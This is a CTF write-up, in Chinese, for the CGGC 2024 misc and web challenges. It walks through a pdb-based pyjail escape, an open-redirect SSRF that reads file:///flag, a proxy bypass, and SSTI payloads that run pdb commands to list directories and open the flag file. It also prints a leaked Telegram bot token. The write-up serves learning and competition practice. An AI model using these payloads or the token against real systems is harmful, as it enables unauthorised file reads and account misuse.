# CGGC 2024 Writeup
The CTF challenges writeup for Cyber Guardian Grand Challenge (CGGC) 2024.

# Misc
## Day31- 水落石出!真相大白的十一月預告信?
### Challenge description

據可靠消息,怪盜カズマ 將於 11 月 2 日正午現身,意圖偷走我多年守護的大秘寶! 幸好我早就把偷來的東西都藏到了那裡 ><
備註:請勿惡意破壞比賽環境,違者將取消參賽資格
Author: Kazma
https://ithelp.ithome.com.tw/users/20168875/ironman/7849
### Solution
前往對應網址後會發現是 2024 iThome 鐵人賽介紹 Flipper Zero 的系列文章,一共有 30 篇,上網搜尋後會發現這篇文章也有放在 Kazma 自己的 Blog 上面:

去 Blog 的 Github Repo (https://github.com/kazmatw/kazmatw.github.io) 上面看 blog 的更新內容,發現在 commit Site updated: 2024-10-29 16:57:28 時更改了 Day19 的文章:


可以看到 telegram bot 的 token 被洩漏出來了,我們可以用這個 token 拿到 bot 跟用戶互動的更新資料:
https://api.telegram.org/bot7580842046:AAEKmOz8n3C265m2_XSv8cGFbBHg7mcnbMM/getUpdates
接著就可以在回傳內容中看到 flag 了。
### Summary
Flag: `CGGC{1_h8t3_y0u_K41d0_K4zm4}`
## Breakjail ⛓️
### Challenge description
Breakpoints are often used in various pyjails. This time, I'm giving one directly to you. Let's get it!
Note: This task only works on Python 3.14.0a1. It may not vulnerable on other versions.
Author: Vincent55
### Solution
首先打開題目提供的 source code 查看內容:
jail.​py:
```python
#!/usr/local/bin/python3
print(open(__file__).read())
flag = open('flag').read()
flag = "Got eaten by the cookie monster QQ"
inp = __import__("unicodedata").normalize("NFKC", input(">>> "))
if any([x in "._." for x in inp]) or inp.__len__() > 55:
print('bad hacker')
else:
eval(inp, {"__builtins__": {}}, {
'breakpoint': __import__('GoodPdb').good_breakpoint})
print(flag)
```
可以看到程式會檢查使用者的輸入(不能包含 ._ 並且長度不能大於 55),並且在執行 eval 的時候將內建函式都禁用掉,只剩下一個自訂的 breakpoint(來自 GoodPdb 檔案裡的 good_breakpoint) 可以使用。
GoodPdb.​py:
```python
import pdb
# patch from https://github.com/python/cpython/blob/ed24702bd0f9925908ce48584c31dfad732208b2/Lib/cmd.py#L98
class GoodPdb(pdb.Pdb):
def cmdloop(self, intro=None):
<SNIP>
while not stop:
if self.cmdqueue:
line = self.cmdqueue.pop(0)
else:
if self.use_rawinput:
try:
"""
no interactive!
"""
# line = input(self.prompt)
line = "EOF"
except EOFError:
line = 'EOF'
else:
self.stdout.write(self.prompt)
self.stdout.flush()
line = self.stdin.readline()
if not len(line):
line = 'EOF'
else:
line = line.rstrip('\r\n')
<SNIP>
def do_interact(self, arg):
"""
no interactive!
"""
pass
good_breakpoint = GoodPdb().set_trace
```
GoodPdb 繼承原本的 Pdb class,並且修改了 `cmdloop()` 和 `do_interact()` 這兩個 function。將修改後的函式與原本的進行比較之後會發現 GoodPdb 禁止掉了原本 debug 的互動介面,因此沒辦法用互動的方式來執行 debug command。
題目提示了這題只在 Python 3.14.0a1 起作用,上網搜尋 Python Github Repo 中 pdb 的程式 (https://github.com/python/cpython/blob/main/Lib/pdb.py),可以看到 `set_trace()` 函式會接收 commands 這個參數:
```python
def set_trace(self, frame=None, *, commands=None):
Pdb._last_pdb_instance = self
if frame is None:
frame = sys._getframe().f_back
if commands is not None:
self.rcLines.extend(commands)
super().set_trace(frame)
```
而 3.14.0a1 以外的版本沒有這個參數:
```python
# 3.11
def set_trace(self, frame=None):
"""Start debugging from frame.
If frame is not specified, debugging starts from caller's frame.
"""
if frame is None:
frame = sys._getframe().f_back
self.reset()
while frame:
frame.f_trace = self.trace_dispatch
self.botframe = frame
frame = frame.f_back
self.set_step()
sys.settrace(self.trace_dispatch)
```
可以猜測在 Python 3.14 版本中,pdb 支援指令透過參數傳遞來執行。
連上 server 後嘗試執行 help 指令:
```
┌──(parallels㉿kali)-[~/…/misc/Breakjail/shared_breakjail/share]
└─$ nc 10.99.66.8 10001
#!/usr/local/bin/python3
print(open(__file__).read())
flag = open('flag').read()
flag = "Got eaten by the cookie monster QQ"
inp = __import__("unicodedata").normalize("NFKC", input(">>> "))
if any([x in "._." for x in inp]) or inp.__len__() > 55:
print('bad hacker')
else:
eval(inp, {"__builtins__": {}}, {
'breakpoint': __import__('GoodPdb').good_breakpoint})
print(flag)
>>> breakpoint(commands="h")
Documented commands (type help <topic>):
========================================
EOF cl disable ignore n return u where
a clear display interact next retval unalias
alias commands down j p run undisplay
args condition enable jump pp rv unt
b cont exceptions l q s until
break continue exit list quit source up
bt d h ll r step w
c debug help longlist restart tbreak whatis
Miscellaneous help topics:
==========================
exec pdb
> <string>(1)<module>()
```
組合 pdb 的指令跳到程式第四行並用 p 印出 flag 變數裡面的值就可以拿到真正的 flag 了:
```
# 先用 n 回到主程式,接著跳到第四行,執行後印出 flag 變數就可以拿到 flag 了
>>> breakpoint(commands=["n;;n;;j 4;;n;;p flag"])
--Return--
> /home/pyjail/jail.py(4)<module>()
-> flag = open('flag').read()
'CGGC{breakpoint_new_feature_in_python_3.14a_can_GOOOOOTOOOOO_n23hq78weh12rb}\n'
> /home/pyjail/jail.py(5)<module>()
-> flag = "Got eaten by the cookie monster QQ"
```
### Summary
Flag: `CGGC{breakpoint_new_feature_in_python_3.14a_can_GOOOOOTOOOOO_n23hq78weh12rb}`
### Refence
[Python docs - Pdb](https://docs.python.org/zh-tw/3.14/library/pdb.html#pdbcommand-commands)
# Web
## Preview Site 🔍
### Challenge description
This website allows you to preview this website.
Author: Vincent55
### Solution
查看網站:

可以從網站上看到需要先登入才能使用其他功能,而打開題目給的 source code 查看程式後會發現在程式中有提供一組帳號 (guest:guest):
app/main.​py:
```python
<SNIP>
users = {'guest': 'guest'}
def send_request(url, follow=True):
try:
response = urllib.request.urlopen(url)
except urllib.error.HTTPError as e:
response = e
redirect_url = response.geturl()
if redirect_url != url and follow:
return send_request(redirect_url, follow=False)
return response.read().decode('utf-8')
<SNIP>
@app.route('/logout')
def logout():
session.pop('username', None)
next_url = request.args.get('next', url_for('index'))
return redirect(next_url)
@app.route('/fetch', methods=['GET', 'POST'])
def fetch():
if 'username' not in session:
return redirect(url_for('login'))
if request.method == 'POST':
url = request.form.get('url')
if not url:
flash('Please provide a URL.')
return render_template('fetch.html')
try:
if not url.startswith(os.getenv("DOMAIN", "http://previewsite/")):
raise ValueError('badhacker')
resp = send_request(url)
return render_template('fetch.html', content=resp)
except Exception as e:
error = f'error:{e}'
return render_template('fetch.html', error=error)
return render_template('fetch.html')
<SNIP>
```
Dockerfile:
```dockerfile
FROM tiangolo/uwsgi-nginx-flask:python3.10
RUN pip install --no-cache-dir requests
ARG FLAG
RUN echo $FLAG > /flag
```
從程式中可以發現,`/fetch` 會接收使用者給的 url,檢查是否以 `http://previewsite` 開頭,如果是的話就透過 `send_request()` 函式執行,並將執行結果顯示到 `fetch.html` 上。
而 `send_request()` 會透過 `urllib.request.urlopen(url)` 向對應的 url 送出 request,並且如果結果為重定向,將會跟隨一次重定向去獲取最終 URL 的內容。
另外,`/logout` 允許設定 next 參數來設定登出後重定向的 url,因此我們可以透過 `/logout` 端點來繞過 `/fetch` 的 url 檢查,在後面添加我們想要重定向的網址讓 `send_request()` 可以訪問任意網址。
```
http://previewsite/logout?next=url
```
而在了解了 `urllib.request.urlopen(url)` 之後會發現,這個函式是可以訪問 file url 的,因此如果我們將前面重定向的 url 換成 file url,程式就會幫我們讀取檔案的內容顯示回網頁上,因此我們最後的 payload 為:
```
http://previewsite/logout?next=file:///flag
```
接著透過網站上的 Send Request 服務(Send Request 後會將 url 送到 `/fetch`)來送入 payload 就可以拿到 flag 了:

### Summary
Flag: `CGGC{open_redirect_to_your_local_file_2893hrgiubf3wq1}`
## proxy
### Challenge description
Access http://secretweb/flag to get flag.
Author:Chumy
### Solution
打開網站後可以看到 source code:
```php
<?php
function proxy($service) {
// $service = "switchrange";
// $service = "previewsite";
// $service = "越獄";
$requestUri = $_SERVER['REQUEST_URI'];
$parsedUrl = parse_url($requestUri);
$port = 80;
if (isset($_GET['port'])) {
$port = (int)$_GET['port'];
} else if ($_COOKIE["port"]) {
$port = (int)$_COOKIE['port'];
}
setcookie("service", $service);
setcookie("port", $port);
$ch = curl_init();
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$filter = '!$%^&*()=+[]{}|;\'",<>?_-/#:.\\@';
$fixeddomain = trim(trim($service, $filter).".cggc.chummy.tw:".$port, $filter);
$fixeddomain = idn_to_ascii($fixeddomain);
$fixeddomain = preg_replace('/[^0-9a-zA-Z-.:_]/', '', $fixeddomain);
curl_setopt($ch, CURLOPT_URL, 'http://'.$fixeddomain.$parsedUrl['path'].'?'.$_SERVER['QUERY_STRING']);
curl_exec($ch);
curl_close($ch);
}
if (!isset($_GET['service']) && !isset($_COOKIE["service"])) {
highlight_file(__FILE__);
} else if (isset($_GET['service'])) {
proxy($_GET['service']);
} else {
proxy($_COOKIE["service"]);
}
```
可以看到題目會接收 service/port 跟其他的參數,然後將其重組成一個 url 然後訪問對應的網址,而我們要想辦法讓其訪問 http://secretweb/flag。
了解一下程式後可以知道 url 的重組規則:
```
# port 不設定就會是 80
當前網站: http://10.99.66.6/{path}?service={service}&port={port}&others={others}
新的連結: http://{service}.cggc.chummy.tw:{port}/{path}?others={others}
```
由於程式會強制在 service 後面加上 `.cggc.chummy.tw` domain,並且程式中會將一些符號 filter 掉,因此我們不能直接訪問 secretweb,不過可以利用上一題 Preview Site 🔍 的重定向來幫我們導向 secretweb:
```
# previewsite 在 port 10002 上
https://10.99.66.6/logout?service=previewsite&port=10002&next=http://secretweb/flag
```
訪問網址後就可以透過程式幫我們訪問 secretweb 來拿到 flag 了。
### Summary
Flag: `CGGC{1Dn_7O_45c11_5o_57R4n9E_11fc26f06c33e83f65ade64679dc0e58}`
## Breakjail Online 🛜
### Challenge description
I used a breakpoint in the Flask debug environment, but I think I forgot to remove it!
Note: This task only works on Python 3.14.0a1. It may not vulnerable on other versions.
Author:Vincent55
### Solution
查看題目提供的 source code:
Dockerfile:
```dockerfile
<SNIP>
ARG FLAG
RUN echo $FLAG > /flag_`cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1`
ENV FLASK_ENV=production
CMD ["gunicorn", "--bind", "0.0.0.0:5000", "app:app"]
```
可以看到 flag 的檔名後面會有一個隨機的後綴。
app/app.​py:
```python
from flask import Flask, render_template_string, request
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():
return "Hello, World! <br><a href='/SsTiMe'>SSTI me</a> :/"
@app.route('/SsTiMe', methods=['GET'])
def showip():
# WOW! There has a SSTI in Flask!!!
q = request.args.get('q', "'7'*7")
# prevent smuggling bad payloads!
request.args={}
request.headers={}
request.cookies={}
request.data ={}
request.query_string = b"#"+request.query_string
if any([x in "._.|||" for x in q]) or len(q) > 88:
return "Too long for me :/ my payload less than 73 chars"
res = render_template_string(f"{{{{{q}}}}}",
# TODO: just for debugging, remove this in production
breakpoint=breakpoint,
str=str
)
# oops, I just type 'res' not res qq
return 'res=7777777'
```
可以看到這題跟 misc 的 Breakjail ⛓️ 一樣提供了 breakpoint() 函式,並且會阻擋包含 `._|` 符號的 request,而我們可以透過 SSTI 漏洞來執行 breakpoint。
因為無法透過 web 來使用互動模式,因此跟上一題 Breakjail 一樣,要使用 commands 參數來執行 debug command。
嘗試執行 breakpoint:
```
http://10.99.66.7:10003/SsTiMe?q=breakpoint()
```
發現 response 為 500 Internal Server Error,用 docker 將環境架在自己電腦上來測試:
```bash
docker build -t breakjail-online .
docker run -d -p 10003:5000 --name breakjail-online breakjail-online
docker attach breakjail-online
```
查看 docker 上服務的 error 訊息,發現因為執行 breakpoint 後互動模式會打開,程式卡在 Pdb 沒辦法正常退出並回傳 response。因此如果想要得到正常的回覆 (200),可以透過 command `c(ontinue)` 讓程式繼續執行到 `return 'res=7777777'`,讓 flask 能夠正常回傳 response 以避開 Internal Server Error 的問題。
```
http://10.99.66.7:10003/SsTiMe?q=breakpoint(commands=["c"])
```

接下來透過本地環境測試 payload:
```
u -> 回到上一個 frame
ll -> 印出程式
p -> 印出變數
```
```
breakpoint(commands=["u+5;;ll;;c"]) -> 回到主程式
breakpoint(commands=["u+5;;r;;r;;r;;ll;;c"]) -> 指向 return self.finalize_request(rv)
breakpoint(commands=["u+5;;r;;r;;r;;p+rv;;c"]) -> 印出 res=7777777
```
先透過 u 回到主程式,接下來用 r(eturn) 讓程式繼續執行直到當前函數返回,並使用 ll 印出程式碼,會發現 flask 在回傳 response 的時候會經過 `self.finalize_request(rv)` 這個指令。而透過 p 將 rv 的值印出來會發現 rv 的值跟主程式中回傳的值相同,因此我們可以猜測如果更改 rv 值就可以改變 response 中顯示的結果。
```
http://10.99.66.7:10003/SsTiMe?q=breakpoint(commands=["u+5;;r;;r;;r;;rv='123';;c"])
```

可以看到成功操控回傳的內容了,因此接下來可以透過 os 來將 `/` 底下的檔案印出來來找出 flag 檔名:
```
breakpoint(commands=["u+5;;r;;r;;r;;from+os+import+*;;rv=listdir('/');;c"])
```

檔名中包含 _ 這個符號,而程式中阻擋有這個符號的 request,在嘗試之後發現雖然可以使用 `chr(95)` 來得到 _,但是字串串接的時候會遇到問題:


因此使用 glob module 來透過通配符抓出 flag 檔案:
```
breakpoint(commands=["u+5;;r;;r;;r;;from+glob+import+*;;rv=open(glob('/f*')[0]);;c"])
```

執行之後就可以拿到 flag 了。
### Summary
Flag: `CGGC{breakpoint_is_a_biiiig_gadget_oj237rpwd3i2}`
### Refence
[Python docs - Pdb](https://docs.python.org/zh-tw/3.14/library/pdb.html#pdbcommand-commands)